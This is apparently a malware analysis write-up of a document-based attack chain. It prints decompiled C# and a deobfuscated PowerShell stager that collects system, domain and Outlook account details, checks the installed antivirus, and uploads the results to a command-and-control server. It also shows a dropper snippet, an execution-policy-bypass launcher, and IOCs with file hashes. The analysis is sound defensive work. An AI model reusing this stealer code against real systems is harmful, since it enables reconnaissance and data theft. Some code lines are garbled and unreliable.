

```
$P59N3q7L5="-w 1 -sta -nop -noexit -ep bypass -c
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};iex (New-Object
```

Has two b64 encoded data.

[illegible]

1st decoded data – tools.dll, which is a PoshAdvisor.

```
// OqkZsI7.OqkZsI7
public static string Ck2Ya(uint id, uint status, bool post)
{
    Random random = new Random();
    uint num = (uint)random.Next();
    MemoryStream memoryStream = new MemoryStream();
    BinaryWriter binaryWriter = new BinaryWriter(memoryStream);
    binaryWriter.Write(num);
    uint num2;
    for (int i = 0; i < 24; i += 4)
    {
        num2 = (BitConverter.ToInt32(OqkZsI7.cl, i) ^ num);
        binaryWriter.Write(num2);
        num = num2;
    }
    num2 = (id ^ num);
    binaryWriter.Write(num2);
    binaryWriter.Write(status ^ num2);
    binaryWriter.Close();
    memoryStream.Close();
    string text = OqkZsI7.tJfgng(OqkZsI7.fpp6tvOuG1(memoryStream.ToArray()));
    if (post)
    {
        text += ".asp";
    }
    else
    {
        text += ".jpg";
    }
    return text;
}

// getJc.getJc
public static string getJc(uint id, uint status, bool post)
{
    Random random = new Random();
    uint num = (uint)random.Next();
    MemoryStream memoryStream = new MemoryStream();
    BinaryWriter binaryWriter = new BinaryWriter(memoryStream);
    binaryWriter.Write(num);
    uint num2;
    for (int i = 0; i < 24; i += 4)
    {
        num2 = (BitConverter.ToInt32(getJc.cl, i) ^ num);
        binaryWriter.Write(num2);
        num = num2;
    }
    num2 = (id ^ num);
    binaryWriter.Write(num2);
    binaryWriter.Write(status ^ num2);
    binaryWriter.Close();
    memoryStream.Close();
    string text = getJc.yMqW6(getJc.lv294qpl(memoryStream.ToArray()));
    if (post)
    {
        text += ".asp";
    }
    else
    {
        text += ".jpg";
    }
    return text;
}
```

2nd decoded data – PowerShell script which do system discovery and collects Microsoft Outlook profile details and sends to C2, in parallel it also checks which Antivirus product installed.



```

1 function MdUMERwFY1Lm1JcC([string] $path)
2 {
3     $dtAS13p9yK9Ut = ""
4     try {
5         $XdbHh78z8Z = (Get-ItemProperty $path | Where {$_.Name -match "Account Name"})
6         foreach ($m in $XdbHh78z8Z) {
7             try {
8                 if ($m."Account Name".GetType().IsArray) {
9                     $sml = [System.Text.Encoding]::Unicode.GetString($m."Account Name")
10                 } else { $sml = $m."Account Name" }
11                 if ($sml -match "%") {
12                     $dtAS13p9yK9Ut += "email: " + $sml + "`n"
13                 }
14             } catch {}
15         }
16         $XdbHh78z8Z = (Get-ItemProperty $path | Where {$_.Name -match "Email"})
17         foreach ($m in $XdbHh78z8Z) {
18             try {
19                 if ($m.Email.GetType().IsArray) {
20                     $sml = [System.Text.Encoding]::Unicode.GetString($m.Email)
21                 } else { $sml = $m.Email }
22                 $dtAS13p9yK9Ut += "email: " + $sml + "`n"
23             } catch {}
24         }
25     } catch {}
26     $dtAS13p9yK9Ut
27 }
28 function KI0h0dBcqM([int]$hXQCLSV6jgRzp, [Byte[]]$EYUGdxZduBUPuC)
29 {
30     $qh70Y3PQHqyM8ls = "https://$4wC1r2zvZhaWqzg/" + [gmEjUE.gmEjUE]::hvJ86k1UbaL278MV($hXQCLSV6jgRzp, 0, $true)
31     $bJ9xecI2b0 = [gmEjUE.gmEjUE]::rM4Mqgwsnw($EYUGdxZduBUPuC)
32     (New-Object System.Net.WebClient).UploadData($qh70Y3PQHqyM8ls, $bJ9xecI2b0)
33 }
34 function jX0QGGKQMPMQbz7()
35 {
36     if (!(($Win32_ComputerSystem).partofdomain) -eq $False) -or ( -not $Env:USERDOMAIN)
37     {
38         $dtAS13p9yK9Ut = "DOMAIN: NO`n`n"
39     } else { $dtAS13p9yK9Ut = "DOMAIN: YES`n`n" }
40     $dtAS13p9yK9Ut += "SYSTEMINFO: `n`n" + ((systeminfo -join "`n")
41     $dtAS13p9yK9Ut += "`n`nIPCONFIG: `n`n" + ((ipconfig /all) -join "`n")
42     $dtAS13p9yK9Ut += "`n`nNETSTAT: `n`n" + ((netstat -f) -join "`n")
43     $dtAS13p9yK9Ut += "`n`nVIEW: `n`n" + ((net view) -join "`n")
44     $dtAS13p9yK9Ut += "`n`nTASKSET: `n`n" + ((taskset) -join "`n")
45     $dtAS13p9yK9Ut += "`n`nWHOAMI: `n`n" + ((whoami) -join "`n")
46     $dtAS13p9yK9Ut += "`n`nUSERNAME: `n`n" + ((net user $env:username /domain) -join "`n")
47     $dtAS13p9yK9Ut += "`n`nDOMAIN ADMIN: `n`n" + ((net group "domain admins" /domain) -join "`n")
48     $dtAS13p9yK9Ut += "`n`nDESKTOP: `n`n" + (Get-Childitem [environment]::getfolderpath("desktop") | Out-String)
49     $dtAS13p9yK9Ut += "`n`nAV: `n`n" + (Get-WebObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntivirusProduct").displayName
50     $EYUGdxZduBUPuC = [System.Text.Encoding]::UTF8.GetBytes($dtAS13p9yK9Ut)
51     KI0h0dBcqM 0 $EYUGdxZduBUPuC
52 }
53 }
54 function jQ7W6sHw6cy9R()
55 {
56     $dtAS13p9yK9Ut = ""
57     $dtAS13p9yK9Ut += MdUMERwFY1Lm1JcC "hkcu:\Software\Microsoft\Office\16.0\Outlook\Profiles\*\9375CFF041311d3888A0010482A6676\*"
58     $dtAS13p9yK9Ut += MdUMERwFY1Lm1JcC "hkcu:\Software\Microsoft\Office\15.0\Outlook\Profiles\*\9375CFF041311d3888A0010482A6676\*"
59     $dtAS13p9yK9Ut += MdUMERwFY1Lm1JcC "hkcu:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF041311d3888A0010482A6676\*"
60     if ($dtAS13p9yK9Ut -ne "")
61     {
62         $EYUGdxZduBUPuC = [System.Text.Encoding]::UTF8.GetBytes($dtAS13p9yK9Ut)
63         KI0h0dBcqM 1 $EYUGdxZduBUPuC
64     }
65 }

```

During the analysis, I haven't found any final payload drops, The PowerShell script is actively beaconing to C2.

The screenshot displays a network traffic analysis tool. On the left, a tree view shows the packet structure, with the 'payload' field highlighted. The right pane shows the raw packet data in hexadecimal and ASCII. The ASCII view shows the file name 'payload.exe' followed by a null terminator.

But I found some remnants in code that it drops a payload \*.exe in TEMP folder.

```
$IcGuY15ek = Get-Random
$LjenyWoP7 = "$env:TEMP\$IcGuY15ek.exe"
[System.IO.File]::WriteAllBytes($LjenyWoP7, $b1j3T1kg46x)
$UmiEZTwEHg8v6qk = 0
```

Metadata:

IOC - 194.36[.]188[.]132:443

Main file – cv.html: a2d689af80054f2e81c297afd5f933b6  
CVxxxx.doc: EAF039445CC11684AA41652CF5BAE53D  
xxxxx.PNG: A0F6A71FA67F77D04F2B59243DB9B33C (PS script)  
XXXX.JPG: 995B8930FF2650EFE4D4E8204E644601(PS script)  
Tools.dll: A034C5DBB4442894E2808FF008265620

Cheers!

[@reegun21](#)